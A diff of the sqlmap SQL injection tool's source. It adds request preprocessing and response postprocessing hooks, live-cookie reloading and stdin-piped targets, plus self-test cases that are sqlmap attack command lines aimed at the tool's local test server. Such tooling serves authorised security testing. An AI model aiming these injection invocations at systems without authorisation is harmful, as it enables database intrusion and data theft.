|||||||
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||||
|
|
||||||
for name, function in inspect.getmembers(module, inspect.isfunction):
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
try:
|
||||||
|
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
|
||||||
found = True
|
found = True
|
||||||
|
|
||||||
kb.preprocessFunctions.append(function)
|
kb.preprocessFunctions.append(function)
|
||||||
function.__name__ = module.__name__
|
function.__name__ = module.__name__
|
||||||
|
|
||||||
break
|
break
|
||||||
|
except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
|
||||||
|
pass
|
||||||
|
|
||||||
if not found:
|
if not found:
|
||||||
errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
|
errMsg = "missing function 'preprocess(req)' "
|
||||||
errMsg += "in preprocess script '%s'" % script
|
errMsg += "in preprocess script '%s'" % script
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
function(_urllib.request.Request("http://localhost"))
|
||||||
|
except:
|
||||||
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n")
|
||||||
|
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||||
|
|
||||||
|
errMsg = "function 'preprocess(req)' "
|
||||||
|
errMsg += "in preprocess script '%s' " % script
|
||||||
|
errMsg += "appears to be invalid "
|
||||||
|
errMsg += "(Note: find template script at '%s')" % filename
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
|
def _setPostprocessFunctions():
|
||||||
|
"""
|
||||||
|
Loads postprocess function(s) from given script(s)
|
||||||
|
"""
|
||||||
|
|
||||||
|
if conf.postprocess:
|
||||||
|
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
|
||||||
|
found = False
|
||||||
|
function = None
|
||||||
|
|
||||||
|
script = safeFilepathEncode(script.strip())
|
||||||
|
|
||||||
|
try:
|
||||||
|
if not script:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if not os.path.exists(script):
|
||||||
|
errMsg = "postprocess script '%s' does not exist" % script
|
||||||
|
raise SqlmapFilePathException(errMsg)
|
||||||
|
|
||||||
|
elif not script.endswith(".py"):
|
||||||
|
errMsg = "postprocess script '%s' should have an extension '.py'" % script
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
errMsg = "invalid character provided in option '--postprocess'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
dirname, filename = os.path.split(script)
|
||||||
|
dirname = os.path.abspath(dirname)
|
||||||
|
|
||||||
|
infoMsg = "loading postprocess module '%s'" % filename[:-3]
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not os.path.exists(os.path.join(dirname, "__init__.py")):
|
||||||
|
errMsg = "make sure that there is an empty file '__init__.py' "
|
||||||
|
errMsg += "inside of postprocess scripts directory '%s'" % dirname
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
|
if dirname not in sys.path:
|
||||||
|
sys.path.insert(0, dirname)
|
||||||
|
|
||||||
|
try:
|
||||||
|
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||||
|
except Exception as ex:
|
||||||
|
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||||
|
|
||||||
|
for name, function in inspect.getmembers(module, inspect.isfunction):
|
||||||
|
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
|
||||||
|
found = True
|
||||||
|
|
||||||
|
kb.postprocessFunctions.append(function)
|
||||||
|
function.__name__ = module.__name__
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
|
||||||
|
errMsg += "in postprocess script '%s'" % script
|
||||||
|
raise SqlmapGenericException(errMsg)
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
_, _, _ = function("", {}, None)
|
_, _, _ = function("", {}, None)
|
||||||
@@ -889,11 +999,11 @@ def _setPreprocessFunctions():
|
|||||||
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
|
||||||
open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
|
||||||
|
|
||||||
errMsg = "function 'preprocess(page, headers=None, code=None)' "
|
errMsg = "function 'postprocess(page, headers=None, code=None)' "
|
||||||
errMsg += "in preprocess script '%s' " % script
|
errMsg += "in postprocess script '%s' " % script
|
||||||
errMsg += "should return a tuple '(page, headers, code)' "
|
errMsg += "should return a tuple '(page, headers, code)' "
|
||||||
errMsg += "(Note: find template script at '%s')" % filename
|
errMsg += "(Note: find template script at '%s')" % filename
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
@@ -1450,8 +1560,8 @@ def _createHomeDirectories():
|
|||||||
if conf.get("purge"):
|
if conf.get("purge"):
|
||||||
return
|
return
|
||||||
|
|
||||||
for context in "output", "history":
|
for context in ("output", "history"):
|
||||||
directory = paths["SQLMAP_%s_PATH" % context.upper()]
|
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
|
||||||
try:
|
try:
|
||||||
if not os.path.isdir(directory):
|
if not os.path.isdir(directory):
|
||||||
os.makedirs(directory)
|
os.makedirs(directory)
|
||||||
@@ -1553,6 +1663,7 @@ def _cleanupOptions():
|
|||||||
|
|
||||||
for key, value in conf.items():
|
for key, value in conf.items():
|
||||||
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
|
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
|
||||||
|
if isinstance(value, str):
|
||||||
conf[key] = safeExpandUser(value)
|
conf[key] = safeExpandUser(value)
|
||||||
|
|
||||||
if conf.testParameter:
|
if conf.testParameter:
|
||||||
@@ -1580,7 +1691,7 @@ def _cleanupOptions():
|
|||||||
|
|
||||||
if conf.base64Parameter:
|
if conf.base64Parameter:
|
||||||
conf.base64Parameter = urldecode(conf.base64Parameter)
|
conf.base64Parameter = urldecode(conf.base64Parameter)
|
||||||
conf.base64Parameter = conf.base64Parameter.replace(" ", "")
|
conf.base64Parameter = conf.base64Parameter.strip()
|
||||||
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
|
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
|
||||||
else:
|
else:
|
||||||
conf.base64Parameter = []
|
conf.base64Parameter = []
|
||||||
@@ -1762,6 +1873,8 @@ def _cleanupOptions():
|
|||||||
if not regex:
|
if not regex:
|
||||||
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
|
||||||
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
|
||||||
|
else:
|
||||||
|
conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
|
||||||
|
|
||||||
if conf.binaryFields:
|
if conf.binaryFields:
|
||||||
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
conf.binaryFields = conf.binaryFields.replace(" ", "")
|
||||||
@@ -1945,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.identifiedWafs = set()
|
kb.identifiedWafs = set()
|
||||||
kb.injection = InjectionDict()
|
kb.injection = InjectionDict()
|
||||||
kb.injections = []
|
kb.injections = []
|
||||||
|
kb.jsonAggMode = False
|
||||||
kb.laggingChecked = False
|
kb.laggingChecked = False
|
||||||
kb.lastParserStatus = None
|
kb.lastParserStatus = None
|
||||||
kb.lastCtrlCTime = None
|
|
||||||
|
|
||||||
kb.locks = AttribDict()
|
kb.locks = AttribDict()
|
||||||
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
|
||||||
kb.locks[_] = threading.Lock()
|
kb.locks[_] = threading.Lock()
|
||||||
|
|
||||||
kb.matchRatio = None
|
kb.matchRatio = None
|
||||||
@@ -2000,7 +2113,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.responseTimeMode = None
|
kb.responseTimeMode = None
|
||||||
kb.responseTimePayload = None
|
kb.responseTimePayload = None
|
||||||
kb.resumeValues = True
|
kb.resumeValues = True
|
||||||
kb.rowXmlMode = False
|
|
||||||
kb.safeCharEncode = False
|
kb.safeCharEncode = False
|
||||||
kb.safeReq = AttribDict()
|
kb.safeReq = AttribDict()
|
||||||
kb.secondReq = None
|
kb.secondReq = None
|
||||||
@@ -2036,8 +2148,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
|||||||
kb.checkSitemap = None
|
kb.checkSitemap = None
|
||||||
kb.headerPaths = {}
|
kb.headerPaths = {}
|
||||||
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
|
||||||
|
kb.lastCtrlCTime = None
|
||||||
kb.normalizeCrawlingChoice = None
|
kb.normalizeCrawlingChoice = None
|
||||||
kb.passwordMgr = None
|
kb.passwordMgr = None
|
||||||
|
kb.postprocessFunctions = []
|
||||||
kb.preprocessFunctions = []
|
kb.preprocessFunctions = []
|
||||||
kb.skipVulnHost = None
|
kb.skipVulnHost = None
|
||||||
kb.storeCrawlingChoice = None
|
kb.storeCrawlingChoice = None
|
||||||
@@ -2684,6 +2798,7 @@ def init():
|
|||||||
_listTamperingFunctions()
|
_listTamperingFunctions()
|
||||||
_setTamperingFunctions()
|
_setTamperingFunctions()
|
||||||
_setPreprocessFunctions()
|
_setPreprocessFunctions()
|
||||||
|
_setPostprocessFunctions()
|
||||||
_setTrafficOutputFP()
|
_setTrafficOutputFP()
|
||||||
_setupHTTPCollector()
|
_setupHTTPCollector()
|
||||||
_setHttpChunked()
|
_setHttpChunked()
|
||||||
@@ -2691,7 +2806,7 @@ def init():
|
|||||||
|
|
||||||
parseTargetDirect()
|
parseTargetDirect()
|
||||||
|
|
||||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||||
_setHostname()
|
_setHostname()
|
||||||
_setHTTPTimeout()
|
_setHTTPTimeout()
|
||||||
_setHTTPExtraHeaders()
|
_setHTTPExtraHeaders()
|
||||||
@@ -2705,6 +2820,7 @@ def init():
|
|||||||
_setSocketPreConnect()
|
_setSocketPreConnect()
|
||||||
_setSafeVisit()
|
_setSafeVisit()
|
||||||
_doSearch()
|
_doSearch()
|
||||||
|
_setStdinPipeTargets()
|
||||||
_setBulkMultipleTargets()
|
_setBulkMultipleTargets()
|
||||||
_checkTor()
|
_checkTor()
|
||||||
_setCrawler()
|
_setCrawler()
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ optDict = {
|
|||||||
"paramDel": "string",
|
"paramDel": "string",
|
||||||
"cookie": "string",
|
"cookie": "string",
|
||||||
"cookieDel": "string",
|
"cookieDel": "string",
|
||||||
|
"liveCookies": "string",
|
||||||
"loadCookies": "string",
|
"loadCookies": "string",
|
||||||
"dropSetCookie": "boolean",
|
"dropSetCookie": "boolean",
|
||||||
"agent": "string",
|
"agent": "string",
|
||||||
@@ -222,6 +223,7 @@ optDict = {
|
|||||||
"hexConvert": "boolean",
|
"hexConvert": "boolean",
|
||||||
"outputDir": "string",
|
"outputDir": "string",
|
||||||
"parseErrors": "boolean",
|
"parseErrors": "boolean",
|
||||||
|
"postprocess": "string",
|
||||||
"preprocess": "string",
|
"preprocess": "string",
|
||||||
"repair": "boolean",
|
"repair": "boolean",
|
||||||
"saveConfig": "string",
|
"saveConfig": "string",
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.4.9.0"
|
VERSION = "1.4.11.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
|
|||||||
# Timeout used in heuristic check for WAF/IPS protected targets
|
# Timeout used in heuristic check for WAF/IPS protected targets
|
||||||
IPS_WAF_CHECK_TIMEOUT = 10
|
IPS_WAF_CHECK_TIMEOUT = 10
|
||||||
|
|
||||||
|
# Timeout used in checking for existence of live-cookies file
|
||||||
|
LIVE_COOKIES_TIMEOUT = 120
|
||||||
|
|
||||||
# Lower and upper values for match ratio in case of stable page
|
# Lower and upper values for match ratio in case of stable page
|
||||||
LOWER_RATIO_BOUND = 0.02
|
LOWER_RATIO_BOUND = 0.02
|
||||||
UPPER_RATIO_BOUND = 0.98
|
UPPER_RATIO_BOUND = 0.98
|
||||||
@@ -66,6 +69,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
|||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
ASTERISK_MARKER = "__ASTERISK_MARK__"
|
||||||
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
||||||
|
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
|
||||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||||
|
|||||||
@@ -44,10 +44,14 @@ def vulnTest():
|
|||||||
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
|
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
|
||||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
|
("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
|
||||||
|
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
@@ -125,13 +129,20 @@ def vulnTest():
|
|||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
for tag, value in (("<url>", url), ("<direct>", direct), ("<request>", request), ("<log>", log), ("<config>", config), ("<base64>", url.replace("id=1", "id=MZ=%3d"))):
|
||||||
|
options = options.replace(tag, value)
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
|
||||||
if "<tmp>" in cmd:
|
if "<tmp>" in cmd:
|
||||||
handle, tmp = tempfile.mkstemp()
|
handle, tmp = tempfile.mkstemp()
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
cmd = cmd.replace("<tmp>", tmp)
|
cmd = cmd.replace("<tmp>", tmp)
|
||||||
|
|
||||||
|
if "<piped>" in cmd:
|
||||||
|
cmd = re.sub(r"<piped>\s*", "", cmd)
|
||||||
|
cmd = "echo %s | %s" % (url, cmd)
|
||||||
|
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
|
||||||
|
|||||||
@@ -168,6 +168,9 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--cookie-del", dest="cookieDel",
|
request.add_argument("--cookie-del", dest="cookieDel",
|
||||||
help="Character used for splitting cookie values (e.g. ;)")
|
help="Character used for splitting cookie values (e.g. ;)")
|
||||||
|
|
||||||
|
request.add_argument("--live-cookies", dest="liveCookies",
|
||||||
|
help="Live cookies file used for loading up-to-date values")
|
||||||
|
|
||||||
request.add_argument("--load-cookies", dest="loadCookies",
|
request.add_argument("--load-cookies", dest="loadCookies",
|
||||||
help="File containing cookies in Netscape/wget format")
|
help="File containing cookies in Netscape/wget format")
|
||||||
|
|
||||||
@@ -623,7 +626,7 @@ def cmdLineParser(argv=None):
|
|||||||
help="Parameter(s) containing Base64 encoded data")
|
help="Parameter(s) containing Base64 encoded data")
|
||||||
|
|
||||||
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
|
general.add_argument("--base64-safe", dest="base64Safe", action="store_true",
|
||||||
help="Use URL and filename safe Base64 alphabet")
|
help="Use URL and filename safe Base64 alphabet (RFC 4648)")
|
||||||
|
|
||||||
general.add_argument("--batch", dest="batch", action="store_true",
|
general.add_argument("--batch", dest="batch", action="store_true",
|
||||||
help="Never ask for user input, use the default behavior")
|
help="Never ask for user input, use the default behavior")
|
||||||
@@ -683,7 +686,10 @@ def cmdLineParser(argv=None):
|
|||||||
help="Parse and display DBMS error messages from responses")
|
help="Parse and display DBMS error messages from responses")
|
||||||
|
|
||||||
general.add_argument("--preprocess", dest="preprocess",
|
general.add_argument("--preprocess", dest="preprocess",
|
||||||
help="Use given script(s) for preprocessing of response data")
|
help="Use given script(s) for preprocessing (request)")
|
||||||
|
|
||||||
|
general.add_argument("--postprocess", dest="postprocess",
|
||||||
|
help="Use given script(s) for postprocessing (response)")
|
||||||
|
|
||||||
general.add_argument("--repair", dest="repair", action="store_true",
|
general.add_argument("--repair", dest="repair", action="store_true",
|
||||||
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
||||||
@@ -952,8 +958,8 @@ def cmdLineParser(argv=None):
|
|||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i] in DEPRECATED_OPTIONS:
|
elif argv[i] in DEPRECATED_OPTIONS:
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif any(argv[i].startswith(_) for _ in ("--tamper",)):
|
elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")):
|
||||||
key = re.search(r"\-\-(\w+)", argv[i]).group(1)
|
key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1)
|
||||||
index = auxIndexes.get(key, None)
|
index = auxIndexes.get(key, None)
|
||||||
if index is None:
|
if index is None:
|
||||||
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None)
|
||||||
@@ -1003,7 +1009,7 @@ def cmdLineParser(argv=None):
|
|||||||
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
|
||||||
try:
|
try:
|
||||||
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
|
||||||
conf.verbose = verbosity.count('v') + 1
|
conf.verbose = verbosity.count('v')
|
||||||
del argv[argv.index(verbosity)]
|
del argv[argv.index(verbosity)]
|
||||||
except (IndexError, ValueError):
|
except (IndexError, ValueError):
|
||||||
pass
|
pass
|
||||||
@@ -1032,7 +1038,12 @@ def cmdLineParser(argv=None):
|
|||||||
if args.dummy:
|
if args.dummy:
|
||||||
args.url = args.url or DUMMY_URL
|
args.url = args.url or DUMMY_URL
|
||||||
|
|
||||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
|
if hasattr(sys.stdin, "fileno") and not os.isatty(sys.stdin.fileno()) and '-' not in sys.argv:
|
||||||
|
args.stdinPipe = iter(sys.stdin.readline, None)
|
||||||
|
else:
|
||||||
|
args.stdinPipe = None
|
||||||
|
|
||||||
|
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)):
|
||||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||||
parser.error(errMsg)
|
parser.error(errMsg)
|
||||||
|
|||||||
@@ -353,7 +353,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
|||||||
|
|
||||||
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
if (kb.pageEncoding or "").lower() == "utf-8-sig":
|
||||||
kb.pageEncoding = "utf-8"
|
kb.pageEncoding = "utf-8"
|
||||||
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
if page and page.startswith(b"\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
|
||||||
page = page[3:]
|
page = page[3:]
|
||||||
|
|
||||||
page = getUnicode(page, kb.pageEncoding)
|
page = getUnicode(page, kb.pageEncoding)
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
import binascii
|
import binascii
|
||||||
import logging
|
import logging
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
import socket
|
import socket
|
||||||
@@ -25,6 +26,7 @@ except ImportError:
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import asciifyUrl
|
from lib.core.common import asciifyUrl
|
||||||
from lib.core.common import calculateDeltaSeconds
|
from lib.core.common import calculateDeltaSeconds
|
||||||
|
from lib.core.common import checkFile
|
||||||
from lib.core.common import checkSameHost
|
from lib.core.common import checkSameHost
|
||||||
from lib.core.common import chunkSplitPostData
|
from lib.core.common import chunkSplitPostData
|
||||||
from lib.core.common import clearConsoleLine
|
from lib.core.common import clearConsoleLine
|
||||||
@@ -100,6 +102,7 @@ from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
|
|||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||||
|
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
||||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||||
@@ -292,6 +295,30 @@ class Connect(object):
|
|||||||
|
|
||||||
return page, headers, code
|
return page, headers, code
|
||||||
|
|
||||||
|
if conf.liveCookies:
|
||||||
|
with kb.locks.liveCookies:
|
||||||
|
if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
|
||||||
|
warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
|
||||||
|
dataToStdout(warnMsg)
|
||||||
|
|
||||||
|
valid = False
|
||||||
|
